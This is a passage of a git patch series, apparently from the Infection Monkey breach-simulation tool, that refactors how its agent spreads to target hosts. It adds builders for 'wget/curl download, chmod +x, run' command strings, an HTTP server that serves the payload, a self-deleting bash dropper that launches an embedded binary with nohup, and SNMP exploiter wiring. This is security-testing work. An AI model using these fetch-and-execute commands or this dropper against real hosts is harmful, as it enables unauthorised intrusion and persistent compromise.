From 5ab902de6ce391bbf21ba23750a7d5805deca1e8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 10 May 2023 13:38:47 -0400 Subject: [PATCH 01/12] Agent: Add start_http_bytes_server() utility function --- .../exploit/tools/http_agent_binary_server.py | 20 +++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py b/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py index 50b341dbcb4..be87409161b 100644 --- a/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py +++ b/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py @@ -22,10 +22,26 @@ def start_agent_binary_server( if target_host.operating_system is None: raise ValueError("The operating system of the target host is unknown") - bind_address = _get_bind_address(target_host, tcp_port_selector) agent_binary = agent_binary_repository.get_agent_binary(target_host.operating_system).read() - server = HTTPBytesServer(bind_address, agent_binary) + return start_http_bytes_server(target_host, agent_binary, tcp_port_selector) + + +def start_http_bytes_server( + target_host: TargetHost, bytes_to_serve: bytes, tcp_port_selector: TCPPortSelector +) -> HTTPBytesServer: + """ + Starts an HTTP server that serves the provided data + + :param target_host: The host to serve the agent binary to + :param bytes_to_server: The data (bytes) that the server will server + :param tcp_port_selector: The TCP port selector to use + + :return: The started HTTPBytesServer that serves the provided data + """ + bind_address = _get_bind_address(target_host, tcp_port_selector) + + server = HTTPBytesServer(bind_address, bytes_to_serve) server.start() return server From a95c6c91bcf86555d392ece051099fc535b83109 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 11 May 2023 13:52:34 -0400 Subject: [PATCH 02/12] Agent: Rename build_monkey_commandline_{explicitly,parmeters}() --- monkey/infection_monkey/dropper.py | 4 ++-- monkey/infection_monkey/utils/commands.py | 4 ++-- .../unit_tests/infection_monkey/utils/test_commands.py | 10 +++++----- 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 09a2ec7fd08..1ae9df93b1d 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -13,7 +13,7 @@ from common.utils.argparse_types import positive_int from common.utils.environment import get_os from infection_monkey.utils.commands import ( - build_monkey_commandline_explicitly, + build_monkey_commandline_parameters, get_monkey_commandline_linux, get_monkey_commandline_windows, ) @@ -133,7 +133,7 @@ def _try_update_access_time(destination_path): logger.warning("Cannot set reference date to destination file") def _run_monkey(self, destination_path) -> subprocess.Popen: - monkey_options = build_monkey_commandline_explicitly( + monkey_options = build_monkey_commandline_parameters( parent=self.opts.parent, servers=self.opts.servers, depth=self.opts.depth, diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index c1416d7a480..e85325ab50d 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -14,7 +14,7 @@ def build_monkey_commandline( agent_id: AgentID, servers: List[str], depth: int, location: Union[str, PurePath, None] = None ) -> str: return " " + " ".join( - build_monkey_commandline_explicitly( + build_monkey_commandline_parameters( agent_id, servers, depth, @@ -23,7 +23,7 @@ def build_monkey_commandline( ) -def build_monkey_commandline_explicitly( +def build_monkey_commandline_parameters( parent: Optional[AgentID] = None, servers: Optional[List[str]] = None, depth: Optional[int] = None, diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index e0f9504c516..b0fbebd03d5 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -2,7 +2,7 @@ from infection_monkey.utils.commands import ( build_monkey_commandline, - build_monkey_commandline_explicitly, + build_monkey_commandline_parameters, get_monkey_commandline_linux, get_monkey_commandline_windows, ) @@ -14,7 +14,7 @@ def agent_id(): return get_agent_id() -def test_build_monkey_commandline_explicitly_arguments(): +def test_build_monkey_commandline_parameters_arguments(): expected = [ "-p", "101010", @@ -25,19 +25,19 @@ def test_build_monkey_commandline_explicitly_arguments(): "-l", "C:\\windows\\abc", ] - actual = build_monkey_commandline_explicitly( + actual = build_monkey_commandline_parameters( "101010", ["127.127.127.127:5000", "138.138.138.138:5007"], 0, "C:\\windows\\abc" ) assert expected == actual -def test_build_monkey_commandline_explicitly_depth_condition_greater(): +def test_build_monkey_commandline_parameters_depth_condition_greater(): expected = [ "-d", "50", ] - actual = build_monkey_commandline_explicitly(depth=50) + actual = build_monkey_commandline_parameters(depth=50) assert expected == actual From 4c91f17f049ac15418ffddbabfd2fee821eb5d2f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 10 May 2023 13:58:19 -0400 Subject: [PATCH 03/12] Agent: Add get_dropper_script_dst_path() for Linux --- .../infection_monkey/exploit/tools/helpers.py | 13 ++++++ .../exploit/tools/test_helpers.py | 43 +++++++++++++++---- 2 files changed, 47 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index cfb25e11c6d..f6b2dcebff8 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -14,6 +14,8 @@ AGENT_BINARY_PATH_LINUX = PurePosixPath("/tmp/monkey") AGENT_BINARY_PATH_WIN64 = PureWindowsPath(r"C:\Windows\temp\monkey64.exe") +DROPPER_SCRIPT_PATH_LINUX = PurePosixPath("/tmp/monkey-dropper.sh") + def get_agent_dst_path(host: TargetHost) -> PurePath: return _add_random_suffix(_get_agent_path(host)) @@ -38,3 +40,14 @@ def get_random_file_suffix() -> str: character_set = string.ascii_letters + string.digits + "_" + "-" # Avoid the risk of blocking by using insecure_generate_random_string() return insecure_generate_random_string(n=RAND_SUFFIX_LEN, character_set=character_set) + + +def get_dropper_script_dst_path(host: TargetHost) -> PurePath: + return _add_random_suffix(_get_dropper_script_path(host)) + + +def _get_dropper_script_path(host: TargetHost) -> PurePath: + if host.operating_system == OperatingSystem.WINDOWS: + raise NotImplementedError("This function is not implemented for Windows") + + return PurePosixPath(DROPPER_SCRIPT_PATH_LINUX) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py index 488ceed20a3..abc0521661d 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/tools/test_helpers.py @@ -1,3 +1,5 @@ +from pathlib import PurePath +from typing import Callable from unittest.mock import Mock import pytest @@ -6,9 +8,12 @@ from infection_monkey.exploit.tools.helpers import ( AGENT_BINARY_PATH_LINUX, AGENT_BINARY_PATH_WIN64, + DROPPER_SCRIPT_PATH_LINUX, RAND_SUFFIX_LEN, get_agent_dst_path, + get_dropper_script_dst_path, ) +from infection_monkey.i_puppet import TargetHost def _get_host(os): @@ -18,26 +23,39 @@ def _get_host(os): @pytest.mark.parametrize( - "os, path", + "os, path, generate_path", [ - (OperatingSystem.LINUX, AGENT_BINARY_PATH_LINUX), - (OperatingSystem.WINDOWS, AGENT_BINARY_PATH_WIN64), + (OperatingSystem.LINUX, AGENT_BINARY_PATH_LINUX, get_agent_dst_path), + (OperatingSystem.WINDOWS, AGENT_BINARY_PATH_WIN64, get_agent_dst_path), + (OperatingSystem.LINUX, DROPPER_SCRIPT_PATH_LINUX, get_dropper_script_dst_path), ], ) -def test_get_agent_dst_path(os, path): +def test_get_agent_dst_path( + os: OperatingSystem, path: PurePath, generate_path: Callable[[TargetHost], PurePath] +): host = _get_host(os) - rand_path = get_agent_dst_path(host) + rand_path = generate_path(host) print(f"{os}: {rand_path}") # Assert that filename got longer by RAND_SUFFIX_LEN and one dash assert len(str(rand_path)) == (len(str(path)) + RAND_SUFFIX_LEN + 1) -def test_get_agent_dst_path_randomness(): - host = _get_host(OperatingSystem.WINDOWS) +@pytest.mark.parametrize( + "os, generate_path", + [ + (OperatingSystem.LINUX, get_agent_dst_path), + (OperatingSystem.WINDOWS, get_agent_dst_path), + (OperatingSystem.LINUX, get_dropper_script_dst_path), + ], +) +def test_get_agent_dst_path_randomness( + os: OperatingSystem, generate_path: Callable[[TargetHost], PurePath] +): + host = _get_host(os) - path1 = get_agent_dst_path(host) - path2 = get_agent_dst_path(host) + path1 = generate_path(host) + path2 = generate_path(host) assert path1 != path2 @@ -49,3 +67,10 @@ def test_get_agent_dst_path_str_place(): assert str(rand_path).startswith(r"C:\Windows\temp\monkey") assert str(rand_path).endswith(".exe") + + +def test_dropper_script_windows_not_implemented(): + host = _get_host(OperatingSystem.WINDOWS) + + with pytest.raises(NotImplementedError): + get_dropper_script_dst_path(host) From 6eb01a4a25381220f86c35cb976d9a907d8f0577 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 11 May 2023 14:21:46 -0400 Subject: [PATCH 04/12] Agent: Add build_agent_download_command() --- monkey/infection_monkey/utils/commands.py | 28 ++++++++++++++++++- .../infection_monkey/utils/test_commands.py | 23 +++++++++++++++ 2 files changed, 50 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index e85325ab50d..e38cb9e09ce 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -1,8 +1,14 @@ from pathlib import PurePath from typing import List, Optional, Union +from common import OperatingSystem from common.types import AgentID -from infection_monkey.exploit.tools.helpers import AGENT_BINARY_PATH_LINUX, AGENT_BINARY_PATH_WIN64 +from infection_monkey.exploit.tools.helpers import ( + AGENT_BINARY_PATH_LINUX, + AGENT_BINARY_PATH_WIN64, + get_agent_dst_path, +) +from infection_monkey.i_puppet import TargetHost from infection_monkey.model import CMD_CARRY_OUT, CMD_EXE, MONKEY_ARG # Dropper target paths @@ -10,6 +16,26 @@ DROPPER_TARGET_PATH_WIN64 = AGENT_BINARY_PATH_WIN64 +def build_agent_download_command(target_host: TargetHost, url: str): + agent_dst_path = get_agent_dst_path(target_host) + return build_download_command(target_host, url, agent_dst_path) + + +def build_download_command(target_host: TargetHost, url: str, dst: PurePath): + if target_host.operating_system == OperatingSystem.WINDOWS: + return build_download_command_windows(url, dst) + + return build_download_command_linux(url, dst) + + +def build_download_command_windows(url: str, dst: PurePath): + raise NotImplementedError() + + +def build_download_command_linux(url: str, dst: PurePath): + return f"wget -qO {dst} {url}" + + def build_monkey_commandline( agent_id: AgentID, servers: List[str], depth: int, location: Union[str, PurePath, None] = None ) -> str: diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index b0fbebd03d5..6121c0d5fc4 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -1,6 +1,11 @@ +from ipaddress import IPv4Address + import pytest +from common import OperatingSystem +from infection_monkey.i_puppet import TargetHost from infection_monkey.utils.commands import ( + build_agent_download_command, build_monkey_commandline, build_monkey_commandline_parameters, get_monkey_commandline_linux, @@ -97,3 +102,21 @@ def test_build_monkey_commandline_empty_servers(agent_id, servers): ) assert expected == actual + + +def test_build_agent_download_command__linux(): + target_host = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.LINUX) + url = "https://example.com/agent" + + linux_agent_download_command = build_agent_download_command(target_host, url) + + assert linux_agent_download_command.startswith("wget") + assert linux_agent_download_command.endswith(url) + + +def test_build_agent_download_command__windows(): + target_host = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) + url = "https://example.com/agent" + + with pytest.raises(NotImplementedError): + build_agent_download_command(target_host, url) From d15de42341cc3d9b4685aee0eff677bfe3c45eb6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 11 May 2023 14:23:44 -0400 Subject: [PATCH 05/12] UT: Fix type error in test_commands.py --- .../unit_tests/infection_monkey/utils/test_commands.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index 6121c0d5fc4..8990eb6d390 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -1,4 +1,5 @@ from ipaddress import IPv4Address +from uuid import UUID import pytest @@ -20,9 +21,10 @@ def agent_id(): def test_build_monkey_commandline_parameters_arguments(): + agent_id = UUID("9614480d-471b-4568-86b5-cb922a34ed8a") expected = [ "-p", - "101010", + str(agent_id), "-s", "127.127.127.127:5000,138.138.138.138:5007", "-d", @@ -31,7 +33,10 @@ def test_build_monkey_commandline_parameters_arguments(): "C:\\windows\\abc", ] actual = build_monkey_commandline_parameters( - "101010", ["127.127.127.127:5000", "138.138.138.138:5007"], 0, "C:\\windows\\abc" + agent_id, + ["127.127.127.127:5000", "138.138.138.138:5007"], + 0, + "C:\\windows\\abc", ) assert expected == actual From 46cc9fbfc4073d734b56b7347ff21a4bbc61df2e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 11 May 2023 14:26:55 -0400 Subject: [PATCH 06/12] Agent: Add build_dropper_script_download_command() --- monkey/infection_monkey/utils/commands.py | 6 ++++++ .../infection_monkey/utils/test_commands.py | 20 +++++++++++++------ 2 files changed, 20 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index e38cb9e09ce..c2a797e69de 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -7,6 +7,7 @@ AGENT_BINARY_PATH_LINUX, AGENT_BINARY_PATH_WIN64, get_agent_dst_path, + get_dropper_script_dst_path, ) from infection_monkey.i_puppet import TargetHost from infection_monkey.model import CMD_CARRY_OUT, CMD_EXE, MONKEY_ARG @@ -21,6 +22,11 @@ def build_agent_download_command(target_host: TargetHost, url: str): return build_download_command(target_host, url, agent_dst_path) +def build_dropper_script_download_command(target_host: TargetHost, url: str): + dropper_script_dst_path = get_dropper_script_dst_path(target_host) + return build_download_command(target_host, url, dropper_script_dst_path) + + def build_download_command(target_host: TargetHost, url: str, dst: PurePath): if target_host.operating_system == OperatingSystem.WINDOWS: return build_download_command_windows(url, dst) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index 8990eb6d390..ad2221fda61 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -1,4 +1,5 @@ from ipaddress import IPv4Address +from typing import Callable from uuid import UUID import pytest @@ -7,6 +8,7 @@ from infection_monkey.i_puppet import TargetHost from infection_monkey.utils.commands import ( build_agent_download_command, + build_dropper_script_download_command, build_monkey_commandline, build_monkey_commandline_parameters, get_monkey_commandline_linux, @@ -109,19 +111,25 @@ def test_build_monkey_commandline_empty_servers(agent_id, servers): assert expected == actual -def test_build_agent_download_command__linux(): +@pytest.mark.parametrize( + "build_command_fn", [build_agent_download_command, build_dropper_script_download_command] +) +def test_build_agent_download_command__linux(build_command_fn: Callable[[TargetHost, str], str]): target_host = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.LINUX) url = "https://example.com/agent" - linux_agent_download_command = build_agent_download_command(target_host, url) + linux_download_command = build_command_fn(target_host, url) - assert linux_agent_download_command.startswith("wget") - assert linux_agent_download_command.endswith(url) + assert linux_download_command.startswith("wget") + assert linux_download_command.endswith(url) -def test_build_agent_download_command__windows(): +@pytest.mark.parametrize( + "build_command_fn", [build_agent_download_command, build_dropper_script_download_command] +) +def test_build_agent_download_command__windows(build_command_fn: Callable[[TargetHost, str], str]): target_host = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) url = "https://example.com/agent" with pytest.raises(NotImplementedError): - build_agent_download_command(target_host, url) + build_command_fn(target_host, url) From 588a5fd4028db32d6e83be675ba08c3b9c1782ca Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 15 May 2023 14:06:10 -0400 Subject: [PATCH 07/12] Agent: Add build_bash_dropper() --- monkey/infection_monkey/utils/__init__.py | 1 + .../infection_monkey/utils/script_dropper.py | 31 +++++++++++++++++++ .../utils/test_script_dropper.py | 20 ++++++++++++ 3 files changed, 52 insertions(+) create mode 100644 monkey/infection_monkey/utils/script_dropper.py create mode 100644 monkey/tests/unit_tests/infection_monkey/utils/test_script_dropper.py diff --git a/monkey/infection_monkey/utils/__init__.py b/monkey/infection_monkey/utils/__init__.py index e69de29bb2d..44785220210 100644 --- a/monkey/infection_monkey/utils/__init__.py +++ b/monkey/infection_monkey/utils/__init__.py @@ -0,0 +1 @@ +from .script_dropper import build_bash_dropper diff --git a/monkey/infection_monkey/utils/script_dropper.py b/monkey/infection_monkey/utils/script_dropper.py new file mode 100644 index 00000000000..de16f13a336 --- /dev/null +++ b/monkey/infection_monkey/utils/script_dropper.py @@ -0,0 +1,31 @@ +from pathlib import PurePath +from typing import Sequence + +DROPPER_SCRIPT = """#!/bin/bash +umask 077 + +DROPPER_SCRIPT_PATH=$0 + +PAYLOAD_LINE=$(awk '/^__PAYLOAD_BEGINS__/ { print NR + 1; exit 0; }' $0) +AGENT_DST_PATH="%(agent_dst_path)s" + +tail -n +${PAYLOAD_LINE} $0 > "$AGENT_DST_PATH" +chmod u+x "$AGENT_DST_PATH" + +rm "$DROPPER_SCRIPT_PATH" + +nohup "$AGENT_DST_PATH" %(agent_args)s &>/dev/null & + +exit 0 +__PAYLOAD_BEGINS__ +""" + + +def build_bash_dropper( + agent_dst_path: PurePath, agent_args: Sequence[str], agent_binary: bytes +) -> bytes: + dropper_script = DROPPER_SCRIPT % { + "agent_dst_path": agent_dst_path, + "agent_args": " ".join(f'"{arg}"' for arg in agent_args), + } + return dropper_script.encode() + agent_binary diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_script_dropper.py b/monkey/tests/unit_tests/infection_monkey/utils/test_script_dropper.py new file mode 100644 index 00000000000..73da777a7fe --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_script_dropper.py @@ -0,0 +1,20 @@ +from pathlib import PurePosixPath + +from infection_monkey.utils import build_bash_dropper + + +def test_build_bash_dropper(): + agent_dst_path = PurePosixPath("/tmp/agent") + agent_args = ["--monkey-id", "1234", "--monkey-name", "test-monkey", "42"] + agent_binary_line_1 = b"hello" + agent_binary_line_2 = b"world" + agent_binary = agent_binary_line_1 + b"\n" + agent_binary_line_2 + + bash_dropper = build_bash_dropper(agent_dst_path, agent_args, agent_binary) + bash_dropper_lines = bash_dropper.split(b"\n") + + assert bash_dropper_lines[-2] == agent_binary_line_1 + assert bash_dropper_lines[-1] == agent_binary_line_2 + assert str(agent_dst_path).encode() in bash_dropper + for arg in agent_args: + assert f'"{arg}"'.encode() in bash_dropper From a50208a507f6913182b3ed585063bdf0cba25d5a Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 15 May 2023 19:52:08 +0000 Subject: [PATCH 08/12] Agent: Add function for starting a dropper script server --- .../exploit/tools/http_agent_binary_server.py | 31 +++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py b/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py index be87409161b..af22b1a631a 100644 --- a/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py +++ b/monkey/infection_monkey/exploit/tools/http_agent_binary_server.py @@ -1,9 +1,13 @@ +from pathlib import PurePath +from typing import Sequence + from common.types import SocketAddress from infection_monkey.exploit import IAgentBinaryRepository from infection_monkey.exploit.tools import HTTPBytesServer from infection_monkey.i_puppet import TargetHost from infection_monkey.network import TCPPortSelector from infection_monkey.network.tools import get_interface_to_target +from infection_monkey.utils.script_dropper import build_bash_dropper def start_agent_binary_server( @@ -27,6 +31,33 @@ def start_agent_binary_server( return start_http_bytes_server(target_host, agent_binary, tcp_port_selector) +def start_dropper_script_server( + target_host: TargetHost, + agent_binary_repository: IAgentBinaryRepository, + tcp_port_selector: TCPPortSelector, + destination_path: PurePath, + args: Sequence[str], +) -> HTTPBytesServer: + """ + Starts an HTTP server that serves the dropper script + + :param target_host: The host for whom to serve the dropper script + :param agent_binary_repository: The repository that contains the agent binary + :param tcp_port_selector: The TCP port selector to use + :param destination_path: The destination path into which to drop the agent payload + :param args: The arguments to pass to the agent payload + + :return: The started HTTPBytesServer that serves the provided data + """ + if target_host.operating_system is None: + raise ValueError("The operating system of the target host is unknown") + + agent_binary = agent_binary_repository.get_agent_binary(target_host.operating_system).read() + dropper_script = build_bash_dropper(destination_path, args, agent_binary) + + return start_http_bytes_server(target_host, dropper_script, tcp_port_selector) + + def start_http_bytes_server( target_host: TargetHost, bytes_to_serve: bytes, tcp_port_selector: TCPPortSelector ) -> HTTPBytesServer: From b29b001cd641a8e13dd1caa716ca6401b1c9b110 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 15 May 2023 17:37:35 +0000 Subject: [PATCH 09/12] Agent: Add a few more helper commands --- monkey/infection_monkey/utils/commands.py | 64 ++++++++++++++++--- .../infection_monkey/utils/test_commands.py | 2 +- 2 files changed, 56 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index c2a797e69de..e88104c7847 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -1,8 +1,9 @@ from pathlib import PurePath -from typing import List, Optional, Union +from typing import List, Optional, Sequence, Union from common import OperatingSystem -from common.types import AgentID +from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE +from common.types import OTP, AgentID from infection_monkey.exploit.tools.helpers import ( AGENT_BINARY_PATH_LINUX, AGENT_BINARY_PATH_WIN64, @@ -17,29 +18,74 @@ DROPPER_TARGET_PATH_WIN64 = AGENT_BINARY_PATH_WIN64 -def build_agent_download_command(target_host: TargetHost, url: str): +def build_agent_deploy_command( + target_host: TargetHost, url: str, otp: OTP, args: Sequence[str] +) -> str: + agent_dst_path = get_agent_dst_path(target_host) + download_command = build_download_command(target_host, url, agent_dst_path) + run_command = build_run_command(target_host, otp, agent_dst_path, args) + + return " ; ".join([download_command, run_command]) + + +def build_dropper_script_deploy_command(target_host: TargetHost, url: str, otp: OTP) -> str: + dropper_script_dst_path = get_dropper_script_dst_path(target_host) + download_command = build_download_command(target_host, url, dropper_script_dst_path) + run_command = build_run_command(target_host, otp, dropper_script_dst_path, []) + + return " ; ".join([download_command, run_command]) + + +def build_agent_download_command(target_host: TargetHost, url: str) -> str: agent_dst_path = get_agent_dst_path(target_host) return build_download_command(target_host, url, agent_dst_path) -def build_dropper_script_download_command(target_host: TargetHost, url: str): +def build_dropper_script_download_command(target_host: TargetHost, url: str) -> str: dropper_script_dst_path = get_dropper_script_dst_path(target_host) return build_download_command(target_host, url, dropper_script_dst_path) -def build_download_command(target_host: TargetHost, url: str, dst: PurePath): +def build_download_command(target_host: TargetHost, url: str, dst: PurePath) -> str: if target_host.operating_system == OperatingSystem.WINDOWS: return build_download_command_windows(url, dst) - return build_download_command_linux(url, dst) + return build_download_command_linux_wget(url, dst) -def build_download_command_windows(url: str, dst: PurePath): +def build_download_command_windows(url: str, dst: PurePath) -> str: raise NotImplementedError() -def build_download_command_linux(url: str, dst: PurePath): - return f"wget -qO {dst} {url}" +def build_download_command_linux_wget(url: str, dst: PurePath) -> str: + return f"wget -qO {dst} {url}; {set_permissions_command_linux(dst)}" + + +def build_download_command_linux_curl(url: str, dst: PurePath) -> str: + return f"curl -so {dst} {url}; {set_permissions_command_linux(dst)}" + + +def download_command_windows_powershell(url: str, dst: PurePath) -> str: + return f"Invoke-WebRequest -Uri '{url}' -OutFile '{dst}' -UseBasicParsing" + + +def set_permissions_command_linux(destination_path: PurePath) -> str: + return f"chmod +x {destination_path}" + + +def build_run_command(target_host: TargetHost, otp: OTP, dst: PurePath, args: Sequence[str]) -> str: + if target_host.operating_system == OperatingSystem.WINDOWS: + return build_run_command_windows(otp, dst, args) + + return build_run_command_linux(otp, dst, args) + + +def build_run_command_linux(otp: OTP, destination_path: PurePath, args: Sequence[str]) -> str: + return f"{AGENT_OTP_ENVIRONMENT_VARIABLE}={otp} {destination_path} {' '.join(args)}" + + +def build_run_command_windows(otp: OTP, destination_path: PurePath, args: Sequence[str]) -> str: + return f"$env:{AGENT_OTP_ENVIRONMENT_VARIABLE}='{otp}' ; {destination_path} {' '.join(args)}" def build_monkey_commandline( diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index ad2221fda61..332abca1a98 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -121,7 +121,7 @@ def test_build_agent_download_command__linux(build_command_fn: Callable[[TargetH linux_download_command = build_command_fn(target_host, url) assert linux_download_command.startswith("wget") - assert linux_download_command.endswith(url) + assert url in linux_download_command @pytest.mark.parametrize( From 3f937ea484c8dbfd6bda1056df3e6a0a6011d7e5 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 15 May 2023 22:42:57 +0000 Subject: [PATCH 10/12] SNMP: Use dropper script --- .../exploiters/snmp/src/plugin.py | 35 +++++++++++++------ .../snmp/src/snmp_command_builder.py | 31 ++-------------- .../exploiters/snmp/src/snmp_exploiter.py | 21 +++++------ .../snmp/test_snmp_command_builder.py | 14 -------- .../exploiters/snmp/test_snmp_exploiter.py | 25 +++++-------- 5 files changed, 45 insertions(+), 81 deletions(-) diff --git a/monkey/agent_plugins/exploiters/snmp/src/plugin.py b/monkey/agent_plugins/exploiters/snmp/src/plugin.py index 377ecfbfa85..46c75f8231f 100644 --- a/monkey/agent_plugins/exploiters/snmp/src/plugin.py +++ b/monkey/agent_plugins/exploiters/snmp/src/plugin.py @@ -11,10 +11,13 @@ # dependencies to get rid of or internalize from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider from infection_monkey.exploit.tools import all_udp_ports_are_closed -from infection_monkey.exploit.tools.http_agent_binary_server import start_agent_binary_server +from infection_monkey.exploit.tools.helpers import get_agent_dst_path +from infection_monkey.exploit.tools.http_agent_binary_server import start_dropper_script_server from infection_monkey.i_puppet import ExploiterResultData, TargetHost +from infection_monkey.model import MONKEY_ARG from infection_monkey.network import TCPPortSelector from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository +from infection_monkey.utils.commands import build_monkey_commandline_parameters from .community_string_generator import generate_community_strings from .snmp_client import SNMPClient @@ -97,10 +100,8 @@ def run( self._propagation_credentials_repository.get_credentials() ) - snmp_exploiter = self._create_snmp_exploiter(snmp_client) - return snmp_exploiter.exploit_host( - host, servers, current_depth, snmp_options, community_strings, interrupt - ) + snmp_exploiter = self._create_snmp_exploiter(snmp_client, host, servers, current_depth) + return snmp_exploiter.exploit_host(host, snmp_options, community_strings, interrupt) except Exception as err: msg = f"An unexpected exception occurred while attempting to exploit host: {err}" logger.exception(msg) @@ -108,18 +109,32 @@ def run( exploitation_success=False, propagation_success=False, error_message=msg ) - def _create_snmp_exploiter(self, snmp_client: SNMPClient) -> SNMPExploiter: + def _create_snmp_exploiter( + self, + snmp_client: SNMPClient, + target_host: TargetHost, + servers: Sequence[str], + current_depth: int, + ) -> SNMPExploiter: exploit_client = SNMPExploitClient( self._agent_id, self._agent_event_publisher, self._plugin_name, snmp_client ) - agent_binary_server_factory = partial( - start_agent_binary_server, + args = [MONKEY_ARG] + args.extend( + build_monkey_commandline_parameters( + parent=self._agent_id, servers=servers, depth=current_depth + 1 + ) + ) + dropper_script_server_factory = partial( + start_dropper_script_server, + target_host=target_host, agent_binary_repository=self._agent_binary_repository, tcp_port_selector=self._tcp_port_selector, + destination_path=get_agent_dst_path(target_host), + args=args, ) return SNMPExploiter( - self._agent_id, exploit_client, - agent_binary_server_factory, + dropper_script_server_factory, self._otp_provider, ) diff --git a/monkey/agent_plugins/exploiters/snmp/src/snmp_command_builder.py b/monkey/agent_plugins/exploiters/snmp/src/snmp_command_builder.py index 13a02539ecc..d302b929869 100644 --- a/monkey/agent_plugins/exploiters/snmp/src/snmp_command_builder.py +++ b/monkey/agent_plugins/exploiters/snmp/src/snmp_command_builder.py @@ -1,40 +1,15 @@ -from typing import Sequence - from common import OperatingSystem -from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE -from common.types import AgentID -from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import TargetHost -from infection_monkey.model import MONKEY_ARG -from infection_monkey.utils.commands import build_monkey_commandline - -SNMP_LINUX_COMMAND_TEMPLATE = ( - "wget -qO %(monkey_path)s %(http_path)s " - "; chmod +x %(monkey_path)s " - "; %(agent_otp_environment_variable)s=%(agent_otp)s " - "%(monkey_path)s %(monkey_type)s %(parameters)s" -) +from infection_monkey.utils.commands import build_dropper_script_deploy_command def build_snmp_command( - agent_id: AgentID, target_host: TargetHost, - servers: Sequence[str], - current_depth: int, agent_download_url: str, otp: str, ) -> str: if target_host.operating_system == OperatingSystem.WINDOWS: raise Exception(f"Unsupported operating system: {target_host.operating_system}") - monkey_cmd = build_monkey_commandline(agent_id, servers, current_depth + 1) - - command = SNMP_LINUX_COMMAND_TEMPLATE % { - "monkey_path": get_agent_dst_path(target_host), - "http_path": agent_download_url, - "monkey_type": 